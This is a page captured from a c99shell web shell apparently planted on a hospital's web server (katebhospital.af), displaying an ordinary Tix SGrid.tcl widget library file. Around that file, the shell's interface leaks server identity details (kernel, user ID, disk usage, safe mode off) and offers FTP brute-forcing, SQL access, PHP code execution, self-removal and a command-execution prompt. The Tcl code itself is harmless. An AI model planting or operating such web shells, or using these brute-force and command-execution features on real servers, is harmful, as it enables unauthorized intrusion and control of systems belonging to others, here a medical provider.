katebhospital.af - c99shell

!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!
Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64 uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /lib64/tcl8.6/Tix8.4.3/ drwxr-xr-x Free 293.39 GB of 429.69 GB (68.28%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

# -*- mode: TCL; fill-column: 75; tab-width: 8; coding: iso-latin-1-unix -*-
#
#    $Id: SGrid.tcl,v 1.6 2002/01/24 09:13:58 idiscovery Exp $
#
# SGrid.tcl --
#
#    This file implements Scrolled Grid widgets
#
# Copyright (c) 1993-1999 Ioi Kim Lam.
# Copyright (c) 2000-2001 Tix Project Group.
#
# See the file "license.terms" for information on usage and redistribution
# of this file, and for a DISCLAIMER OF ALL WARRANTIES.
#

global tkPriv
if {![llength [info globals tkPriv]]} {
    tk::unsupported::ExposePrivateVariable tkPriv
}
#--------------------------------------------------------------------------
# tkPriv elements used in this file:
#
# x -    
# y -    
# X -    
# Y -    
#--------------------------------------------------------------------------
#

tixWidgetClass tixScrolledGrid {
    -classname TixScrolledGrid
    -superclass tixScrolledWidget
    -method {
    }
    -flag {
    }
    -configspec {
    }
    -default {
    {.scrollbar            auto}
    {*grid.borderWidth        1}
    {*grid.Background        #c3c3c3}
    {*grid.highlightBackground    #d9d9d9}
    {*grid.relief            sunken}
    {*grid.takeFocus        1}
    {*Scrollbar.takeFocus        0}
    }
}

proc tixScrolledGrid:ConstructWidget {w} {
    upvar #0 $w data

    tixChainMethod $w ConstructWidget

    set data(w:grid) [tixGrid $w.grid]

    set data(w:hsb) \
    [scrollbar $w.hsb -orient horizontal -takefocus 0]
    set data(w:vsb) \
    [scrollbar $w.vsb -orient vertical -takefocus 0]

    set data(pw:client) $data(w:grid)

    pack $data(w:grid) -expand yes -fill both -padx 0 -pady 0
}

proc tixScrolledGrid:SetBindings {w} {
    upvar #0 $w data

    tixChainMethod $w SetBindings

    $data(w:grid) config \
    -xscrollcommand "$data(w:hsb) set"\
    -yscrollcommand "$data(w:vsb) set"\
    -sizecmd [list tixScrolledWidget:Configure $w] \
    -formatcmd "tixCallMethod $w FormatCmd"

    $data(w:hsb) config -command "$data(w:grid) xview"
    $data(w:vsb) config -command "$data(w:grid) yview"

    bindtags $data(w:grid) \
    "$data(w:grid) TixSGrid TixGrid [winfo toplevel $data(w:grid)] all"    

    tixSetMegaWidget $data(w:grid) $w
}

#----------------------------------------------------------------------
#            RAW event bindings
#----------------------------------------------------------------------
proc tixScrolledGridBind {} {
    tixBind TixScrolledGrid <ButtonPress-1> {
    tixScrolledGrid:Button-1 [tixGetMegaWidget %W] %x %y
    }
    tixBind TixScrolledGrid <Shift-ButtonPress-1> {
    tixScrolledGrid:Shift-Button-1 %W %x %y
    }
    tixBind TixScrolledGrid <Control-ButtonPress-1> {
    tixScrolledGrid:Control-Button-1 %W %x %y
    }
    tixBind TixScrolledGrid <ButtonRelease-1> {
    tixScrolledGrid:ButtonRelease-1 %W %x %y
    }
    tixBind TixScrolledGrid <Double-ButtonPress-1> {
    tixScrolledGrid:Double-1 %W  %x %y
    }
    tixBind TixScrolledGrid <B1-Motion> {
    set tkPriv(x) %x 
    set tkPriv(y) %y
    set tkPriv(X) %X
    set tkPriv(Y) %Y

    tixScrolledGrid:B1-Motion %W %x %y
    }
    tixBind TixScrolledGrid <Control-B1-Motion> {
    set tkPriv(x) %x 
    set tkPriv(y) %y
    set tkPriv(X) %X
    set tkPriv(Y) %Y

    tixScrolledGrid:Control-B1-Motion %W %x %y
    }
    tixBind TixScrolledGrid <B1-Leave> {
    set tkPriv(x) %x 
    set tkPriv(y) %y
    set tkPriv(X) %X
    set tkPriv(Y) %Y

    tixScrolledGrid:B1-Leave %W
    }
    tixBind TixScrolledGrid <B1-Enter> {
    tixScrolledGrid:B1-Enter %W %x %y
    }
    tixBind TixScrolledGrid <Control-B1-Leave> {
    set tkPriv(x) %x 
    set tkPriv(y) %y
    set tkPriv(X) %X
    set tkPriv(Y) %Y

    tixScrolledGrid:Control-B1-Leave %W
    }
    tixBind TixScrolledGrid <Control-B1-Enter> {
    tixScrolledGrid:Control-B1-Enter %W %x %y
    }

    # Keyboard bindings
    #
    tixBind TixScrolledGrid <Up> {
    tixScrolledGrid:DirKey %W up
    }
    tixBind TixScrolledGrid <Down> {
    tixScrolledGrid:DirKey %W down
    }
    tixBind TixScrolledGrid <Left> {
    tixScrolledGrid:DirKey %W left
    }
    tixBind TixScrolledGrid <Right> {
    tixScrolledGrid:DirKey %W right
    }
    tixBind TixScrolledGrid <Prior> {
    %W yview scroll -1 pages
    }
    tixBind TixScrolledGrid <Next> {
    %W yview scroll 1 pages
    }
    tixBind TixScrolledGrid <Return> {
    tixScrolledGrid:Return %W 
    }
    tixBind TixScrolledGrid <space> {
    tixScrolledGrid:Space %W 
    }
}

#----------------------------------------------------------------------
#
#
#             Mouse bindings
#
#
#----------------------------------------------------------------------
proc tixScrolledGrid:Button-1 {w x y} {
    if {[$w cget -state] == "disabled"} {
    return
    }
    if {[$w cget -takefocus]} {
    focus $w
    }
    case [tixScrolled:GetState $w] {
    {0} {
        tixScrolledGrid:GoState s1 $w $x $y
           }
    {b0} {
        tixScrolledGrid:GoState b1 $w $x $y
           }
    {m0} {
        tixScrolledGrid:GoState m1 $w $x $y
           }
    {e0} {
        tixScrolledGrid:GoState e1 $w $x $y
           }
    }
}



#----------------------------------------------------------------------
#
#        option configs
#----------------------------------------------------------------------

#----------------------------------------------------------------------
#
#        Widget commands
#----------------------------------------------------------------------


#----------------------------------------------------------------------
#
#        Private Methods
#----------------------------------------------------------------------

#----------------------------------------------------------------------
#        Virtual Methods
#----------------------------------------------------------------------
proc tixScrolledGrid:FormatCmd {w area x1 y1 x2 y2} {
    # do nothing
}

#----------------------------------------------------------------------
# virtual functions to query the client window's scroll requirement
#----------------------------------------------------------------------
proc tixScrolledGrid:GeometryInfo {w mW mH} {
    upvar #0 $w data


    if {$mW < 1} {
    set mW 1
    }
    if {$mH < 1} {
    set mH 1
    }

    return [$data(w:grid) geometryinfo $mW $mH]
}
:: Command execute ::
Enter:	Select: